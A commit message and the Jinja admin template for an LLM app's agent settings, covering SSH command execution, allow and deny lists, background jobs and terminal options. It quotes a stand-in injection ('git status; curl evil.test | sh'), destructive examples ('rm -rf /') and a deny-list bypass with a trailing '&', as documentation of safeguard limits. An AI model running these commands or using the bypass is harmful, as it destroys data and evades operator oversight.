e9546dcd1f
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
404 lines
17 KiB
HTML
404 lines
17 KiB
HTML
{% extends "admin/_layout.html" %}
|
||
{% from "_macros.html" import icon %}
|
||
{% set section = "agents" %}
|
||
|
||
{% block title %}Agents - LLeMbas{% endblock %}
|
||
{% block heading %}Agents{% endblock %}
|
||
|
||
{% block admin_content %}
|
||
<p class="admin-lede">
|
||
An <strong>Agent</strong> chat can read files, write files and run commands on
|
||
a machine reached over SSH. Nothing runs on this server. People add their own
|
||
connections under <strong>Connections</strong>; what you decide here is
|
||
whether the feature exists and what one reply may spend.
|
||
</p>
|
||
|
||
<div class="alert">
|
||
{{ icon("shield", "icon--sm") }}
|
||
<span>
|
||
There is no sandbox to configure, and that is deliberate: containment is
|
||
whatever host somebody points a connection at. A container built for the
|
||
job is a very different thing from a key to a live server, and LLeMbas
|
||
cannot tell them apart. What a model reads — a web page, a file, the output
|
||
of the last command — is untrusted, and in <strong>Auto</strong> mode
|
||
nothing stands between that and a command running.
|
||
</span>
|
||
</div>
|
||
|
||
{% if problem %}
|
||
<div class="alert alert--error">{{ icon("warning", "icon--sm") }} <span>{{ problem }}</span></div>
|
||
{% endif %}
|
||
|
||
{% if saved %}
|
||
<div class="alert alert--success">{{ icon("check", "icon--sm") }} <span>Saved.</span></div>
|
||
{% endif %}
|
||
|
||
<form method="post" action="/admin/agents" class="form-grid">
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">Switch</h2>
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="enabled" value="true" {{ 'checked' if values.enabled }}>
|
||
<span>Allow agent chats</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Off, nobody can start one and no agent tool is offered, whatever
|
||
permissions they hold. {{ profile_count }} connection{{ '' if profile_count == 1 else 's' }}
|
||
saved across all accounts.
|
||
</p>
|
||
</div>
|
||
<p class="field__hint">
|
||
People also need the <strong>Run commands</strong> permission, a model
|
||
flagged <strong>Agent execution</strong>, and a connection of their own.
|
||
</p>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">The modes</h2>
|
||
<p class="field__hint">
|
||
Set per chat and switchable at any time. This is what each one means; the
|
||
two lists below adjust them.
|
||
</p>
|
||
<dl class="mode-list">
|
||
{% for value, label, hint in modes %}
|
||
<div class="mode-list__row">
|
||
<dt><strong>{{ label }}</strong></dt>
|
||
<dd>{{ hint }}</dd>
|
||
</div>
|
||
{% endfor %}
|
||
</dl>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">What never needs asking</h2>
|
||
<div class="field">
|
||
<label class="field__label" for="allow_default">Always allow</label>
|
||
<textarea class="textarea input--mono" id="allow_default" name="allow_default" rows="5"
|
||
spellcheck="false">{{ allow_text }}</textarea>
|
||
<p class="field__hint">
|
||
One per line: a tool name like <code>file_read</code>, or a command with
|
||
wildcards like <code>git *</code>. A command containing anything that
|
||
joins two commands together — a semicolon, a pipe, backticks — can never
|
||
match one of these, so <code>git *</code> does not quietly also mean
|
||
<code>git status; curl … | sh</code>.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">What always needs asking</h2>
|
||
<div class="field">
|
||
<label class="field__label" for="deny_default">Always ask</label>
|
||
<textarea class="textarea input--mono" id="deny_default" name="deny_default" rows="5"
|
||
spellcheck="false">{{ deny_text }}</textarea>
|
||
<p class="field__hint">
|
||
Checked before everything, including <strong>Auto</strong>. Treat it as
|
||
a guard against an accident rather than against an adversary:
|
||
<code>rm -rf /*</code> here does not stop <code>/bin/rm -rf /</code>, and
|
||
nothing pattern-shaped could. The same limit as above applies, and it
|
||
cuts the other way here: a command line that runs more than one thing
|
||
matches none of these, so in <strong>Auto</strong>
|
||
<code>shutdown -h now</code> asks and <code>shutdown -h now &</code>
|
||
runs. Anything that must never happen belongs on the far side, in that
|
||
account’s own permissions.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">What one command may spend</h2>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="default_timeout">Timeout (seconds)</label>
|
||
<input class="input" id="default_timeout" name="default_timeout"
|
||
value="{{ values.default_timeout }}" inputmode="numeric">
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="max_timeout">Longest a command may ask for</label>
|
||
<input class="input" id="max_timeout" name="max_timeout"
|
||
value="{{ values.max_timeout }}" inputmode="numeric">
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="max_output_bytes">Most output to keep</label>
|
||
<input class="input" id="max_output_bytes" name="max_output_bytes"
|
||
value="{{ values.max_output_bytes }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
Characters. The rest is cut off and the model is told so.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">Background commands</h2>
|
||
<p class="card__lede">
|
||
A command that would outlast its timeout can be left running instead of
|
||
killed — detached on the far side, checked on later. It is how a long
|
||
install, build or download becomes possible at all.
|
||
</p>
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="background_enabled"
|
||
{{ 'checked' if values.background_enabled }}>
|
||
<span>Allow commands to run in the background</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Off means byte-for-byte the old behaviour: a command that hits its
|
||
timeout is killed. On, a command can be launched detached (or kept
|
||
running when it times out), writing to a file under
|
||
<code>/tmp</code> on the machine, and the model gets tools to read and
|
||
stop it. A detached command's log can grow without bound on the host —
|
||
that is the host's to contain, as with everything an agent runs there.
|
||
</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="background_on_timeout"
|
||
{{ 'checked' if values.background_on_timeout }}>
|
||
<span>Keep a timed-out command running instead of killing it</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Off leaves the timeout a hard stop; the model can still choose to
|
||
background a command up front.
|
||
</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="background_notify"
|
||
{{ 'checked' if values.background_notify }}>
|
||
<span>Wake the model when a background job finishes</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
On, a finished job starts (or joins) a reply carrying its result. Off,
|
||
the model only sees it the next time it runs of its own accord.
|
||
</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="background_max_jobs">Most jobs watched at once</label>
|
||
<input class="input" id="background_max_jobs" name="background_max_jobs"
|
||
value="{{ values.background_max_jobs }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
Each is a periodic reconnect to the machine. Jobs past this still run;
|
||
they are simply not watched, and the model is not woken for them.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">What one reply may spend</h2>
|
||
<p class="field__hint">
|
||
Four separate bounds, because they fail differently: the clock stops one
|
||
slow command eating an afternoon, tool output stops a model filling its own
|
||
context with build logs and having no room to answer, written tokens stop
|
||
one that keeps going, and the step count is a backstop against a runaway.
|
||
</p>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="max_completion_tokens">
|
||
Most a reply may write
|
||
</label>
|
||
<input class="input" id="max_completion_tokens" name="max_completion_tokens"
|
||
value="{{ values.max_completion_tokens }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
In tokens, across every round of one reply. This is the bound that
|
||
normally ends a long piece of work. Zero means no ceiling.
|
||
</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="max_wall_seconds">Longest a reply may take</label>
|
||
<input class="input" id="max_wall_seconds" name="max_wall_seconds"
|
||
value="{{ values.max_wall_seconds }}" inputmode="numeric">
|
||
<p class="field__hint">Time spent waiting for you to answer does not count.</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="max_total_output_bytes">Most output across a reply</label>
|
||
<input class="input" id="max_total_output_bytes" name="max_total_output_bytes"
|
||
value="{{ values.max_total_output_bytes }}" inputmode="numeric">
|
||
</div>
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="nudge_unfinished"
|
||
{{ 'checked' if values.nudge_unfinished }}>
|
||
<span>Ask it to carry on when it stops with tasks outstanding</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Only ever against a plan, and only while tasks on it are still open —
|
||
that is the one thing there is to be objectively wrong about. A reply
|
||
with no plan that says it has finished is believed. It is asked at most
|
||
twice in a row, and if it stops a third time that is recorded in the
|
||
transcript rather than argued with.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="max_steps">Most rounds of tool calls</label>
|
||
<input class="input" id="max_steps" name="max_steps"
|
||
value="{{ values.max_steps }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
A backstop, not a working budget. An agent reply is meant to run until
|
||
the task is done, so a number low enough to be what stops it is a number
|
||
that stops it halfway. Use the token ceiling above for a real limit.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">Asking you things</h2>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="approval_timeout">How long a question waits</label>
|
||
<input class="input" id="approval_timeout" name="approval_timeout"
|
||
value="{{ values.approval_timeout }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
Seconds. After this the reply carries on without an answer and says so.
|
||
At least a minute, whatever is typed here.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="ask_free_text" value="true"
|
||
{{ 'checked' if values.ask_free_text }}>
|
||
<span>Let people write their own answer</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
When a model asks a question it can offer answers to pick from, and by
|
||
default a box to write something else. Turn this off if you would rather
|
||
nobody typed free text into a prompt a model composed.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="card__title">The terminal</h2>
|
||
<p class="field__hint">
|
||
A panel beside an agent chat holding an interactive shell on that chat's
|
||
own connection. What somebody types there is <em>theirs</em>: the modes and
|
||
the two lists above govern the model, not the person at the keyboard, who
|
||
could open the same shell with an ssh client. The model cannot see the
|
||
panel; sending it something is a button they press.
|
||
</p>
|
||
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="terminal_enabled" value="true"
|
||
{{ 'checked' if values.terminal_enabled }}>
|
||
<span>Allow the terminal panel</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
People also need the <strong>Open a terminal</strong> permission.
|
||
{{ terminal_count }} shell{{ '' if terminal_count == 1 else 's' }} open right now.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="terminal_idle_timeout">Close a shell after</label>
|
||
<input class="input" id="terminal_idle_timeout" name="terminal_idle_timeout"
|
||
value="{{ values.terminal_idle_timeout }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
Seconds with nobody watching <em>and</em> nothing typed. Closing the
|
||
panel does not end the session — a build carries on and is still there
|
||
on the way back — so this is what eventually ends one.
|
||
</p>
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="terminal_max_sessions">Most shells at once</label>
|
||
<input class="input" id="terminal_max_sessions" name="terminal_max_sessions"
|
||
value="{{ values.terminal_max_sessions }}" inputmode="numeric">
|
||
</div>
|
||
<div class="field">
|
||
<label class="field__label" for="terminal_max_per_user">Most shells per person</label>
|
||
<input class="input" id="terminal_max_per_user" name="terminal_max_per_user"
|
||
value="{{ values.terminal_max_per_user }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
One per chat. Each holds an SSH connection open on the far machine.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="terminal_integration"
|
||
{{ 'checked' if values.terminal_integration }}>
|
||
<span>Mark where commands begin and end</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Gives bash and zsh the same invisible markers VS Code and WezTerm use,
|
||
so <strong>Copy</strong>, <strong>Send</strong> and the automatic
|
||
toggle know which output belongs to which command. Written by the shell
|
||
into a temporary file it deletes itself, and any other shell is started
|
||
exactly as it was before. Off means those buttons fall back to copying
|
||
the last of the screen as it appeared, wraps and all.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="card">
|
||
<h2 class="section-title">The project directory</h2>
|
||
<p class="muted">
|
||
A listing of the directory a chat works in, so a reply does not spend its
|
||
first rounds finding out what is there — and so files can be attached by
|
||
name with <strong>@</strong>. Built by one read-only command
|
||
(<code>git ls-files</code> where it works, otherwise <code>find</code>),
|
||
cached briefly, and shared by every chat pointed at the same directory.
|
||
</p>
|
||
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="index_enabled"
|
||
{{ 'checked' if values.index_enabled }}>
|
||
<span>List the project directory</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Off means no listing is built at all, and the file picker offers only
|
||
what is in the library.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="index_chars">Characters of it in the prompt</label>
|
||
<input class="input" id="index_chars" name="index_chars"
|
||
value="{{ values.index_chars }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
This is spent on <em>every</em> request in an agent chat, so it is a
|
||
budget rather than a limit: directories that will not fit are shown as
|
||
a count and the model is told to look inside them itself.
|
||
<strong>0</strong> keeps the listing for the file picker and puts none
|
||
of it in the prompt.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="checkbox">
|
||
<input type="checkbox" name="instructions_enabled"
|
||
{{ 'checked' if values.instructions_enabled }}>
|
||
<span>Read the project's own instructions</span>
|
||
</label>
|
||
<p class="field__hint">
|
||
Looks for <code>AGENTS.md</code> or <code>CLAUDE.md</code> in the root
|
||
of the project directory and puts it in the prompt, so a model follows
|
||
the conventions of the project it is working in. The file is written by
|
||
whoever works on that project, so it is treated as untrusted: it can say
|
||
how to work, and cannot grant permission for anything. The exact wording
|
||
around it is the <em>The project's own instructions</em> fragment on
|
||
<a href="/admin/prompts">Prompts</a>, and clearing that fragment removes
|
||
the only path by which the file reaches a model.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="field">
|
||
<label class="field__label" for="instructions_chars">Characters of it to use</label>
|
||
<input class="input" id="instructions_chars" name="instructions_chars"
|
||
value="{{ values.instructions_chars }}" inputmode="numeric">
|
||
<p class="field__hint">
|
||
Cut at a line boundary past this. <strong>0</strong> is the same as
|
||
switching it off.
|
||
</p>
|
||
</div>
|
||
</section>
|
||
|
||
<div class="btn-row">
|
||
<button class="btn btn--primary" type="submit">Save changes</button>
|
||
</div>
|
||
</form>
|
||
{% endblock %}
|